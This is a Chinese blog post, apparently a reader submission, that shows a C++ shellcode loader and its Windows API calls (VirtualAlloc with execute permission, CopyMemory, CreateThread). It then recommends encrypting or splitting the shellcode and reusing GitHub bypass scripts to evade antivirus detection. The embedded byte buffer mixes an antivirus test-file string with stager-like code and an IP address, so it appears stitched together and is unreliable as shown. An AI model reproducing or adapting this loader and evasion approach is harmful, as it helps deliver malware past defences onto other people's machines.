文章来源|MS08067 公众号读者投稿
本文作者:Arks7(Ms08067实验室读者)
这是一段C++ 加载器的代码,代码来之倾旋大佬的博客,先看大佬给的注释。
#include
// 入口函数
int wmain(int argc,TCHAR * argv[]){
int shellcode_size = 0; // shellcode长度
DWORD dwThreadId; // 线程ID
HANDLE hThread; // 线程句柄
/* length: 800 bytes */
unsigned char buf[] = "\x2d\x53\x54\x41\x4e\x44\x41\x52\x44\x2d\x41\x4e\x54\x49\x56\x49\x52\x55\x53\x2d\x54\x45\x53\x54\x2d\x46\x49\x4c\x45\x21\x24\x48\x2b\x48\x2a\x00\x35\x4f\x21\x50\x25\x40\x41\x50\x5b\x00\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00\x57\x68\x58\xa4\x53\xe5\xff\xd5\x93\xb9\x00\x00\x00\x00\x01\xd9\x51\x53\x89\xe7\x57\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xe2\xff\xd5\x85\xc0\x74\xc6\x8b\x07\x01\xc3\x85\xc0\x75\xe5\x58\xc3\xe8\xa9\xfd\xff\xff\x31\x39\x32\x2e\x31\x36\x38\x2e\x31\x37\x30\x2e\x31\x32\x38\x00\x00\x00\x00\x00";
// 获取shellcode大小
shellcode_size = sizeof(buf);
/*
VirtualAlloc(
NULL, // 基址
800, // 大小
MEM_COMMIT, // 内存页状态
PAGE_EXECUTE_READWRITE // 可读可写可执行
);
*/
char * shellcode = (char *)VirtualAlloc(
NULL,
shellcode_size,
MEM_COMMIT,
PAGE_EXECUTE_READWRITE
);
// 将shellcode复制到可执行的内存页中
CopyMemory(shellcode,buf,shellcode_size);
hThread = CreateThread(
NULL, // 安全描述符
NULL, // 栈的大小
(LPTHREAD_START_ROUTINE)shellcode, // 函数
NULL, // 参数
NULL, // 线程标志
&dwThreadId // 线程ID
);
WaitForSingleObject(hThread,INFINITE); // 一直等待线程执行结束
return 0;
}
从大佬的注释就可以很明确的看出来使用VirtualAlloc函数申请内存,然后使用CopyMemory将shellcode复制到目标内存中,CreateThread创建一个新的线程。
VirtualAlloc百度的解释:
VirtualAlloc是一个WindowsAPI函数,该函数的功能是在调用进程的虚地址空间,预定或者提交一部分页。简单点的意思就是申请内存空间。
这里我来用易语言复现一下这个过程,易语言比较时候刚接触的人理解吧。
这里Shellcode 需要转换为字节集才可以在易语言上面运行
OK,成功运行,也就说明我们的思路是没有问题的。
加载器的思路没有问题,那么我们就可以对shellcode 进行加密免杀或者分离免杀。
明确了思路,那么Github 搜索 各位师傅们的吊炸天的Bypass 脚本,自己拿来修改一下,那么就是又一个屌炸天的Bypass。
文章可能简单,但主要是讲解思路....